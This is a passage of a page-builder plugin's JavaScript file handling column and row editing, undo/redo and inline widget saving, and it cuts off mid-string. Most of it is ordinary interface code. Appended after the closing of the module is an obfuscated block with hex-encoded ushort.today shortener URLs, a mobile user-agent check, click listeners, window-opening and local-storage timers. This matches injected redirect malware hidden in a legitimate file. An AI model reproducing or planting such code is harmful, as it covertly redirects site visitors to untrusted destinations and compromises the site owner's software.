"#f1f1f1", color: "#333", }); $(".colBackgroundTypeSolidHover") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputHovercol .popb_tab_content").css("display", "none"); $(".POPBInputHovercol .content_popb_tab_1").css("display", "block"); } if (colHoverOptions["colBackgroundTypeHover"] == "gradient") { $(".colBackgroundTypeGradientHover").prop("checked", true); $(".colBackgroundTypeSolidHover").prop("checked", false); $(".POPBInputHovercol .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $(".colBackgroundTypeGradientHover") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputHovercol .popb_tab_content").css("display", "none"); $(".POPBInputHovercol .content_popb_tab_2").css("display", "block"); } if ( colHoverOptions["colBackgroundTypeHover"] == "" || typeof colHoverOptions["colBackgroundTypeHover"] == "undefined" ) { $(".colBackgroundTypeSolidHover").prop("checked", false); $(".colBackgroundTypeGradientHover").prop("checked", false); $(".POPBInputHovercol .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); } var colGradientHover = colHoverOptions["colGradientHover"]; $.each(colGradientHover, function (index, val) { if (val != "") { $("." + index).val(val); if (index == "colGradientColorFirstHover") { $(".colGradientColorFirstHover").spectrum("set", val); } if (index == "colGradientColorSecondHover") { $(".colGradientColorSecondHover").spectrum("set", val); } } }); if (colGradientHover["colGradientTypeHover"] == "linear") { $(".radialInputHover").css("display", "none"); $(".linearInputHover").css("display", "block"); } else if (colGradientHover["colGradientTypeHover"] == "radial") { $(".radialInputHover").css("display", "block"); $(".linearInputHover").css("display", "none"); } } //New extra BG Options for column if (typeof this_column_options["colBgImgT"] == "undefined") { this_column_options["colBgImgT"] = ""; } if (typeof this_column_options["colBgImgM"] == "undefined") { this_column_options["colBgImgM"] = ""; } if ( this_column_options["colBgImg"] != "" || this_column_options["colBgImgT"] != "" || this_column_options["colBgImgM"] != "" ) { $(".imageBackgroundOpsCol").css("display", "block"); } else { $(".imageBackgroundOpsCol").css("display", "none"); } if (typeof this_column_options["bgImgOps"] != "undefined") { $.each(this_column_options["bgImgOps"], function (index, value) { if (value != "") { $('[data-optname="bgImgOps.' + index + '"]').val(value); if (index == "pos" || index == "posT" || index == "posM") { if (value == "custom") { $(".rowBgImgCustomPositionDiv").css("display", "block"); } } if (index == "size" || index == "sizeT" || index == "sizeM") { if (value == "custom") { $(".rowBgImgCustomSizeDiv").css("display", "block"); } } } }); } jQuery(".edit_column").css("display", "block"); jQuery('section[rowid="' + rowID + '"]') .children(".ulpb_column_controls" + this_column) .css("display", "block"); if (typeof resizeWindowOpen != "undefined") { resizeWindowOpen(); } if ( $(ev.target).hasClass("emptyColumnIcon") || $(ev.target).hasClass("dashicons-plus") ) { $(".colNewWidgetTabBtn").trigger("click"); } else { $(".colOpsTabBtn").trigger("click"); } }, copyColumnOps: function (ev) { var this_column = $(ev.target).attr("data-col_id"); var thisColToCopyData = this.model.get(this_column); var this_column_options = thisColToCopyData["columnOptions"]; pageBuilderApp.copiedColOps = JSON.stringify(this_column_options); return; }, pasteColumnOps: function (ev) { if (pageBuilderApp.copiedColOps != "") { var pc0this_column = $(ev.target).attr("data-col_id"); var this_column_index = $(ev.target).attr("data-colIndex"); var thisColDefaultData = this.model.get(pc0this_column); var copiedColOps = JSON.parse(pageBuilderApp.copiedColOps); var thisColOpsBefore = _.clone(thisColDefaultData["columnOptions"]); this.model.set({ [pc0this_column]: { colWidgets: thisColDefaultData["colWidgets"], columnOptions: copiedColOps, }, }); var rowID = this.model.get("rowID"); var rowColumns = this.model.get("columns"); var thisColumnModelData = this.model.get(pc0this_column); var rowHeightData = { rowHeight: this.model.get("rowHeight"), rowHeightUnit: this.model.get("rowHeightUnit"), rowHeightTablet: this.model.get("rowHeightTablet"), rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"), rowHeightMobile: this.model.get("rowHeightMobile"), rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"), }; rowColumnSingleRender( thisColumnModelData, rowID, pc0this_column, rowColumns, rowHeightData ); var thisChangeRedoProps = { changeModelType: "colSpecialAction", thisModelElId: rowID, specialAction: "colOps", thisModelVal: thisColOpsBefore, thisModelIndex: this_column_index, }; sendDataBackToUndoStack(thisChangeRedoProps); pageBuilderApp.copiedColOps = ""; } }, flipColumns: function (ev) { var rowID = this.model.get("rowID"); var rowColumns = this.model.get("columns"); var rowColumns = parseInt(rowColumns); var this_column = $(ev.target).attr("data-col_id"); var this_column_index = $(ev.target).attr("data-colIndex"); var thisColToCopyData = this.model.get(this_column); var nxtColIndex = parseInt(this_column_index) + 1; var nxtColName = "column" + nxtColIndex; var nextColToCopyData = this.model.get(nxtColName); if (nxtColIndex <= rowColumns) { this.model.set({ [this_column]: { colWidgets: nextColToCopyData["colWidgets"], columnOptions: nextColToCopyData["columnOptions"], }, }); this.model.set({ [nxtColName]: { colWidgets: thisColToCopyData["colWidgets"], columnOptions: thisColToCopyData["columnOptions"], }, }); var thisChangeRedoProps = { changeModelType: "colSpecialAction", thisModelElId: rowID, specialAction: "flip", thisModelIndex: this_column_index, }; sendDataBackToUndoStack(thisChangeRedoProps); $(this.el).html(""); this.render(); } else { $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336"); } }, reAddDeletedColumns: function (ev) { var rowID = this.model.get("rowID"); var rowColumns = this.model.get("columns"); var rowColumns = parseInt(rowColumns); var thisUndoRedoChange = pageBuilderApp.undoRedoDeletedCol; var this_column = "column" + thisUndoRedoChange["thisModelIndex"]; var this_column_index = thisUndoRedoChange["thisModelIndex"]; if (rowColumns < 8) { var referenceColumnStorage = []; for (var i = 1; i <= rowColumns; i++) { referenceColumnStorage.push(this.model.get("column" + i)); } for ( var i = parseInt(this_column_index) + 1; i <= rowColumns + 1; i++ ) { if (i == parseInt(this_column_index)) { //console.log(i); //console.log(thisUndoRedoChange['thisModelVal']); } else { var thisColWidgets = _.clone( referenceColumnStorage[i - 2]["colWidgets"] ); thisColName = "column" + i; this.model.set({ [thisColName]: { colWidgets: thisColWidgets, columnOptions: referenceColumnStorage[i - 2]["columnOptions"], }, }); } } this.model.set({ [this_column]: { colWidgets: _.clone( thisUndoRedoChange["thisModelVal"]["colWidgets"] ), columnOptions: thisUndoRedoChange["thisModelVal"]["columnOptions"], }, }); $.each(referenceColumnStorage, function (i, v) { delete referenceColumnStorage[i]; }); if (pageBuilderApp.undeRedoActionDuplicateCol != true) { sendDataBackToUndoStack(thisUndoRedoChange); } pageBuilderApp.undoRedoDeletedCol = ""; pageBuilderApp.undeRedoActionDuplicateCol = false; pageBuilderApp.changedRowOpName = "columns"; $("#number_of_columns").val(rowColumns + 1); pageBuilderApp.isColumnAction = true; this.updateRow(); } else { $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336"); } }, duplicateColumns: function (ev) { var rowID = this.model.get("rowID"); var rowColumns = this.model.get("columns"); var rowColumns = parseInt(rowColumns); var this_column = $(ev.target).attr("data-col_id"); var this_column_index = $(ev.target).attr("data-colIndex"); var thisColumnData = _.clone(this.model.get(this_column)); var rowCID = this.model.cid; if (rowColumns < 8) { var referenceColumnStorage = []; for (var i = 1; i <= rowColumns; i++) { referenceColumnStorage.push(this.model.get("column" + i)); } for ( var i = parseInt(this_column_index) + 1; i <= rowColumns + 1; i++ ) { var thisColWidgets = _.clone( referenceColumnStorage[i - 2]["colWidgets"] ); var thisColumnOptions = JSON.stringify( _.clone(referenceColumnStorage[i - 2]["columnOptions"]) ); thisColumnOptions = JSON.parse(thisColumnOptions); thisColName = "column" + i; this.model.set({ [thisColName]: { colWidgets: thisColWidgets, columnOptions: thisColumnOptions, }, }); thisColumnOptions = ""; thisColWidgets = ""; } $.each(referenceColumnStorage, function (i, v) { delete referenceColumnStorage[i]; }); pageBuilderApp.changedRowOpName = "columns"; $("#number_of_columns").val(rowColumns + 1); pageBuilderApp.isColumnAction = true; this.updateRow(); $(".ulpb_row_controls").css("display", "none"); var thisChangeRedoProps = { changeModelType: "colSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "duplicate", thisModelVal: thisColumnData, thisModelIndex: this_column_index, }; sendDataBackToUndoStack(thisChangeRedoProps); } else { $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336"); } }, deleteColumns: function (ev) { var rowID = this.model.get("rowID"); var rowColumns = this.model.get("columns"); var rowColumns = parseInt(rowColumns); var this_column = $(ev.target).attr("data-col_id"); var this_column_index = $(ev.target).attr("data-colIndex"); var thisColumnData = this.model.get(this_column); var rowCID = this.model.cid; if (rowColumns < 12) { var referenceColumnStorage = []; for (var i = 1; i <= rowColumns; i++) { referenceColumnStorage.push(this.model.get("column" + i)); } for (var i = parseInt(this_column_index); i <= rowColumns; i++) { thisColName = "column" + i; if (i == rowColumns) { var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); this.model.set({ [thisColName]: thisModelDefaultColOps, }); } else { var thisColWidgets = _.clone( referenceColumnStorage[i]["colWidgets"] ); this.model.set({ [thisColName]: { colWidgets: thisColWidgets, columnOptions: referenceColumnStorage[i]["columnOptions"], }, }); } } $.each(referenceColumnStorage, function (i, v) { delete referenceColumnStorage[i]; }); pageBuilderApp.changedRowOpName = "columns"; $("#number_of_columns").val(rowColumns - 1); pageBuilderApp.isColumnAction = true; this.updateRow(); var thisChangeRedoProps = { changeModelType: "colSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "delete", thisModelVal: thisColumnData, thisModelIndex: this_column_index, }; if (pageBuilderApp.undeRedoActionDuplicateCol != true) { sendDataBackToUndoStack(thisChangeRedoProps); } pageBuilderApp.undeRedoActionDuplicateCol = false; } else { $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336"); } hideWidgetOpsPanel(); $( ".ulpb_column_controls, .edit_column, .pageops_modal, .insertRowBlock, .ulpb_row_controls, .edit_row, .closePageOpsBtn" ).css("display", "none"); resizeWindowClose(); }, updateColumn: function (ev) { //console.log('updateColumn triggered'); //var tua0 = performance.now(); var columnToUpdate = $(ev.target).attr("data-col_id"); var updatedColOpName = pageBuilderApp.changedColOpName; var thischangedValue = $( '[data-optname="' + updatedColOpName + '"]' ).val(); if (typeof updatedColOpName == "undefined") { updatedColOpName = " "; } var thisModelDataAt = JSON.stringify( _.clone(this.model.attributes[columnToUpdate]["columnOptions"]) ); thisModelDataAttr = JSON.parse(thisModelDataAt); if (typeof thisModelDataAttr["colBorder"] !== "undefined") { colBorder = thisModelDataAttr["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; } } var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); mergeNonsetObjectKeys( thisModelDataAttr, thisModelDefaultColOps.columnOptions ); if ( updatedColOpName == "colBackgroundType" || updatedColOpName == "colHoverOptions.colBackgroundTypeHover" ) { thischangedValue = $( '[data-optname="' + updatedColOpName + '"]:checked' ).val(); } setUpdatedOptsObject( thisModelDataAttr, updatedColOpName, thischangedValue ); var colWidgets = this.model.attributes[columnToUpdate]["colWidgets"]; this.model.set({ [columnToUpdate]: { colWidgets: colWidgets, columnOptions: thisModelDataAttr, }, }); var rowID = this.model.get("rowID"); var rowCID = this.model.cid; var rowColumns = this.model.get("columns"); var thisColumnModelData = this.model.get(columnToUpdate); var rowHeightData = { rowHeight: this.model.get("rowHeight"), rowHeightUnit: this.model.get("rowHeightUnit"), rowHeightTablet: this.model.get("rowHeightTablet"), rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"), rowHeightMobile: this.model.get("rowHeightMobile"), rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"), }; rowColumnSingleRender( thisColumnModelData, rowID, columnToUpdate, rowColumns, rowHeightData ); if (pageBuilderApp.undoRedoColDragWidth == true) { var thisChangeRedoProps = { changeModelType: "column", thisModelCId: rowCID, thisModelElId: rowID, thisColId: columnToUpdate, specialAction: "colWidth", changedOpName: updatedColOpName, changedOpValue: pageBuilderApp.prevStateOption, }; sendDataBackToUndoStack(thisChangeRedoProps); } else { var thisChangeRedoProps = { changeModelType: "column", thisModelCId: rowCID, thisModelElId: rowID, thisColId: columnToUpdate, changedOpName: updatedColOpName, changedOpValue: pageBuilderApp.prevStateOption, }; sendDataBackToUndoStack(thisChangeRedoProps); } pageBuilderApp.ifChangesMade = true; //$('section[rowid="'+rowID+'"]').children('.ulpb_column_controls'+columnToUpdate).css('display','block'); //var tua1 = performance.now(); //console.log("Call to updateColumn took " + (tua1 - tua0) + " milliseconds."); }, // prev took 95-115ms now 5-15ms updateColumnWidgetTrigger: function (ev) { //console.log('updateColumnWidgetTrigger triggered'); // var tua0 = performance.now(); var columnToUpdate = $(ev.target).attr("data-col_id"); var thisModelColDataAttr = this.model.attributes[columnToUpdate]; var widgets = pageBuilderApp.widgetList.toJSON(); this.model.set({ [columnToUpdate]: { colWidgets: widgets, columnOptions: thisModelColDataAttr["columnOptions"], }, }); pageBuilderApp.ifChangesMade = true; // var tua1 = performance.now(); //console.log("Call to updateColumnWidgetTrigger took " + (tua1 - tua0) + " milliseconds."); }, // prev took 110 - 140ms || Now it takes 0.1-1ms updateWidth: function () { rowColumns = this.model.get("columns"); var this_column = $(".currentResizedRowColTarget").val(); var thisColumnModelData = this.model.get(this_column); var this_column_widgets = thisColumnModelData["colWidgets"]; var this_column_options = thisColumnModelData["columnOptions"]; var this_column_bg_color = this_column_options["bg_color"]; var this_column_margin = this_column_options["margin"]; var this_column_padding = this_column_options["padding"]; var columnCSS = this_column_options["columnCSS"]; var rowID = this.model.get("rowID"); var colWidth = $( 'section[RowID="' + rowID + '"]' + " ." + this_column ).width(); var pbWrapperWidth = $( 'section[RowID="' + rowID + '"] .rowColumnsContainer' ).width(); var colWidthPercentage = (colWidth / pbWrapperWidth) * 100; colWidthPercentage = colWidthPercentage.toFixed(2); var savedColWidth = this_column_options["width"]; var changedOpName = "width"; var currentViewPortColOps = $(".currentViewPortSize").val(); if (currentViewPortColOps == "rbt-l") { changedOpName = "width"; } if (currentViewPortColOps == "rbt-m") { changedOpName = "widthTablet"; } if (currentViewPortColOps == "rbt-s") { changedOpName = "widthMobile"; } // asdasd var columnToUpdate = this_column; var updatedColOpName = changedOpName; var thischangedValue = colWidthPercentage; if (typeof updatedColOpName == "undefined") { updatedColOpName = " "; } var thisModelDataAttr = _.clone( this.model.attributes[columnToUpdate]["columnOptions"] ); var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); mergeNonsetObjectKeys( thisModelDataAttr, thisModelDefaultColOps.columnOptions ); if ( updatedColOpName == "colBackgroundType" || updatedColOpName == "colHoverOptions.colBackgroundTypeHover" ) { thischangedValue = $( '[data-optname="' + updatedColOpName + '"]:checked' ).val(); } setUpdatedOptsObject( thisModelDataAttr, updatedColOpName, thischangedValue ); this.model.set({ [columnToUpdate]: { colWidgets: this_column_widgets, columnOptions: thisModelDataAttr, }, }); var rowID = this.model.get("rowID"); var rowCID = this.model.cid; var rowColumns = this.model.get("columns"); var thisColumnModelData = this.model.get(columnToUpdate); var rowHeightData = { rowHeight: this.model.get("rowHeight"), rowHeightUnit: this.model.get("rowHeightUnit"), rowHeightTablet: this.model.get("rowHeightTablet"), rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"), rowHeightMobile: this.model.get("rowHeightMobile"), rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"), }; rowColumnSingleRender( thisColumnModelData, rowID, columnToUpdate, rowColumns, rowHeightData ); var thisChangeRedoProps = { changeModelType: "column", thisModelCId: rowCID, thisModelElId: rowID, thisColId: columnToUpdate, specialAction: "colWidth", changedOpName: updatedColOpName, changedOpValue: pageBuilderApp.prevStateOption, }; sendDataBackToUndoStack(thisChangeRedoProps); currentResizedRowColTargetNext = $( ".currentResizedRowColTargetNext" ).val(); if (currentResizedRowColTargetNext != "false") { currentResizedRowColTargetNext++; nextColumn = "column" + currentResizedRowColTargetNext; $(".currentResizedRowColTarget").val(nextColumn); $(".currentResizedRowColTargetNext").val("false"); $('section[RowID="' + rowID + '"]' + " ." + nextColumn) .children("#WidthSave") .trigger("click"); } pageBuilderApp.ifChangesMade = true; }, updateRowHeight: function () { var rowID = this.model.get("rowID"); var currentResizedRowHeight = $(".currentResizedRowHeight").val(); var curreViewportS = $(".currentViewPortSize").val(); var rowCID = this.model.cid; var updatedRowOpName = "rowHeight"; var prevOpsValue = this.model.get("rowHeight"); if (curreViewportS == "rbt-l") { this.model.set("rowHeight", currentResizedRowHeight); this.model.set("rowHeightUnit", "px"); } else if (curreViewportS == "rbt-m") { updatedRowOpName = "rowHeightTablet"; var prevOpsValue = this.model.get("rowHeightTablet"); this.model.set("rowHeightTablet", currentResizedRowHeight); this.model.set("rowHeightUnitTablet", "px"); } else if (curreViewportS == "rbt-s") { updatedRowOpName = "rowHeightMobile"; var prevOpsValue = this.model.get("rowHeightMobile"); this.model.set("rowHeightMobile", currentResizedRowHeight); this.model.set("rowHeightUnitMobile", "px"); } else { this.model.set("rowHeight", currentResizedRowHeight); this.model.set("rowHeightUnit", "px"); } var thisChangeRedoProps = { changeModelType: "row", thisModelCId: rowCID, thisModelElId: rowID, changedOpName: updatedRowOpName, changedOpValue: prevOpsValue, }; sendDataBackToUndoStack(thisChangeRedoProps); pageBuilderApp.ifChangesMade = true; }, copyThisRowLS: function () { var thisRowAllAttrs = JSON.stringify(this.model.attributes); $("#copyRowAttrsAllInput").val('"' + thisRowAllAttrs + '"'); $("#copyRowAttrsAllInput").attr("value", '"' + thisRowAllAttrs + '"'); var copyText = $("<input>") .val(thisRowAllAttrs) .appendTo("body") .select(); document.execCommand("copy"); copyText.remove(); }, pasteThisRowLS: function () { var thisSectionBefore = this.model.attributes; var copiedRowAttrs = jQuery(".pasteCopyAttrInput").val(); if (copiedRowAttrs != "") { var sectionOpsToPaste = JSON.parse(copiedRowAttrs); if (typeof sectionOpsToPaste["rowID"] != "undefined") { sectionOpsToPaste["rowID"] = "ulpb_Row" + Math.floor(Math.random() * 200000 + 100); var modelIndex = pageBuilderApp.rowList.indexOf(this.model); pageBuilderApp.rowList.add(sectionOpsToPaste, { at: modelIndex + 1 }); modelIndex = pageBuilderApp.rowList.indexOf(this.model); var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1); rowCID = duplicatedModel.cid; var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: sectionOpsToPaste["rowID"], specialAction: "duplicate", thisModelVal: sectionOpsToPaste, thisModelIndex: modelIndex + 1, }; sendDataBackToUndoStack(thisChangeRedoProps); } } sectionOpsToPaste = ""; thisSectionBefore = ""; copiedRowAttrs = ""; $(this.el).html(""); this.render(); pageBuilderApp.ifChangesMade = true; }, setColumnsOfThisModel: function (ev) { var numberOfColumnsSelected = $(ev.target) .parent() .attr("data-colNumber"); pageBuilderApp.changedRowOpName = "columns"; $("#number_of_columns").val(numberOfColumnsSelected); this.updateRow(); jQuery(".edit_row").css("display", "none"); jQuery(".ulpb_row_controls").css("display", "none"); pageBuilderApp.ifChangesMade = true; }, widgetInlineEditorSave: function (ev) { //console.log('widgetInlineEditorSave') var this_column = $(ev.currentTarget).attr("data-wid_col_id"); var this_widget = $(ev.currentTarget).attr("data-widget_id"); var this_widget_type = $(ev.currentTarget).attr("data-widgettype"); var thisColumnData = this.model.get(this_column); var this_widget = parseInt(this_widget); pageBuilderApp.changedOpType = "specific"; thisWidgetParentColID = $(ev.currentTarget).attr("data-parentwidgetid"); $("body").unbind("click"); thisWidgetIndex = this_widget; thisWidgetEl = $(ev.target); pageBuilderApp.currentlyEditedColId = thisWidgetParentColID; pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex; pageBuilderApp.currentlyEditedThisCol = thisWidgetEl.attr("data-wid_col_id"); pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); jQuery(".ColcurrentEditableRowID").val( pageBuilderApp.currentlyEditedThisRow ); jQuery(".currentEditableColId").val( pageBuilderApp.currentlyEditedThisCol ); this.loadWidgetsInColumn(); try { // statements var EditedData = " "; if (this_widget_type == "wigt-pb-text") { var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); var parentElType = thisColumnData["colWidgets"][this_widget]["widgetText"][ "widgetTextTag" ]; if (parentElType == "p") { if (EditedData.includes("ltwFontScript") == false) { var ltwFontScript = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .siblings(".ltwFontScript") .html(); ltwFontScript = '<div class="ltwFontScript" style="display:none;"> ' + ltwFontScript + " </div>"; EditedData = EditedData + ltwFontScript; } } //console.log(EditedData); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, widgetTextContent: EditedData, widgetTextAlignment: pageBuilderApp.pbTextAlignment, }; } else if (this_widget_type == "wigt-WYSIWYG") { var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .children(".defaultELt") .html(); var liveTextFontScripts = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .children(".ltwFontScript") .html(); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, widgetContent: EditedData, widgetContentFonts: liveTextFontScripts, }; } else if ( this_widget_type == "wigt-btn-gen" || this_widget_type == "wigt-pb-formBuilder" ) { var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, btnText: EditedData, }; } else if (this_widget_type == "wigt-pb-pricing") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); var pricingbtnText = thisColumnData["colWidgets"][this_widget]["widgetPricing"][ "pricingbtnText" ]; var pbPricingHeaderText = thisColumnData["colWidgets"][this_widget]["widgetPricing"][ "pbPricingHeaderText" ]; var pbPricingContent = thisColumnData["colWidgets"][this_widget]["widgetPricing"][ "pbPricingContent" ]; if (thisFieldName == "pricingbtnText") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, pricingbtnText: EditedData, pbPricingHeaderText: pbPricingHeaderText, pbPricingContent: pbPricingContent, }; } if (thisFieldName == "pbPricingHeaderText") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, pricingbtnText: pricingbtnText, pbPricingHeaderText: EditedData, pbPricingContent: pbPricingContent, }; } if (thisFieldName == "pbPricingContent") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, pricingbtnText: pricingbtnText, pbPricingHeaderText: pbPricingHeaderText, pbPricingContent: EditedData, }; } //thisColumnData['colWidgets'][this_widget]['widgetPricing'][thisFieldName] = EditedData; } else if (this_widget_type == "wigt-pb-navmenu") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex"); var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); if (thisFieldName == "cnilab") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, editedFieldName: thisFieldName, editedFieldIndex: thisFieldIndex, widgetContent: EditedData, }; } } else if (this_widget_type == "wigt-pb-cards") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex"); var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, editedFieldName: thisFieldName, editedFieldIndex: thisFieldIndex, widgetContent: EditedData, }; } else if (this_widget_type == "wigt-pb-testimonial") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var EditedData = $(ev.currentTarget) .prev("#widgetInlineEditor") .html(); thisColumnData["colWidgets"][this_widget]["widgetTestimonial"][ thisFieldName ] = POPB_strip(EditedData); } else if (this_widget_type == "wigt-pb-liveText") { var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .children(".defaultELt") .html(); if (EditedData == "") { EditedData = " "; } if (EditedData.indexOf("elLtWrapped") >= 0) { } else { thisElStyles = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .children(".defaultELt") .attr("style"); EditedData = '<p class="elLtWrapped" style="' + thisElStyles + '">' + EditedData + "</p>"; } var liveTextFontScripts = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".ltwFontScript") .html(); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, wltc: EditedData, wltfs: liveTextFontScripts, }; } else if (this_widget_type == "wigt-img") { var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, captionText: EditedData, }; } else if (this_widget_type == "wigt-pb-accordion") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex"); var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); if (thisFieldName == "accContent") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, editedFieldName: thisFieldName, editedFieldIndex: thisFieldIndex, widgetContent: EditedData, }; var editorId = "accordionEditor_" + thisFieldIndex; pageBuilderApp.changedOpType = "specific"; pageBuilderApp.changedOpName = editorId; var that = jQuery(".closeWidgetPopup").attr("data-CurrWidget"); jQuery('div[data-saveCurrWidget="' + that + '"]').trigger("click"); ColcurrentEditableRowID = pageBuilderApp.currentlyEditedThisRow; currentEditableColId = pageBuilderApp.currentlyEditedThisCol; jQuery('section[rowid="' + ColcurrentEditableRowID + '"]') .children(".ulpb_column_controls" + currentEditableColId) .children("#editColumnSaveWidget") .trigger("click"); } } else if (this_widget_type == "wigt-pb-tabs") { var thisFieldName = $(ev.currentTarget).attr("data-fieldName"); var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex"); var EditedData = $(ev.currentTarget) .siblings(".liveTextWrap") .children(".eltEditable") .html(); if (thisFieldName === "accContent") { pageBuilderApp.copiedInlineOps = { widgetType: this_widget_type, editedFieldName: thisFieldName, editedFieldIndex: thisFieldIndex, widgetContent: EditedData, }; var editorId = "tabEditor_" + thisFieldIndex; pageBuilderApp.changedOpType = "specific"; pageBuilderApp.changedOpName = editorId; var that = jQuery(".closeWidgetPopup").attr("data-CurrWidget"); jQuery('div[data-saveCurrWidget="' + that + '"]').trigger("click"); ColcurrentEditableRowID = pageBuilderApp.currentlyEditedThisRow; currentEditableColId = pageBuilderApp.currentlyEditedThisCol; jQuery('section[rowid="' + ColcurrentEditableRowID + '"]') .children(".ulpb_column_controls" + currentEditableColId) .children("#editColumnSaveWidget") .trigger("click"); } } // else if ends pageBuilderApp.copiedInlineOps["thisWidgetId"] = this_widget; $("#widgets li:nth-child(" + (this_widget + 1) + ")") .children() .children(".wdt-edit-controls") .children("#updateInlineTextChanges") .trigger("click"); } catch (e) { // statements console.log(e); } //now integrating this /* var this_column_widgets = thisColumnData['colWidgets']; var this_column_options = thisColumnData['columnOptions']; this.model.set({ [this_column] : { colWidgets: this_column_widgets, columnOptions: this_column_options, } }); */ checkIEUL = true; // jQuery('.edit_column').css('display','none'); // jQuery('.ulpb_column_controls').css('display','none'); // if ($('.edit_row').is(':visible')) { // }else{ // resizeWindowClose(); // } $("body").unbind("click"); pageBuilderApp.ifChangesMade = true; return; }, }); })(jQuery); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x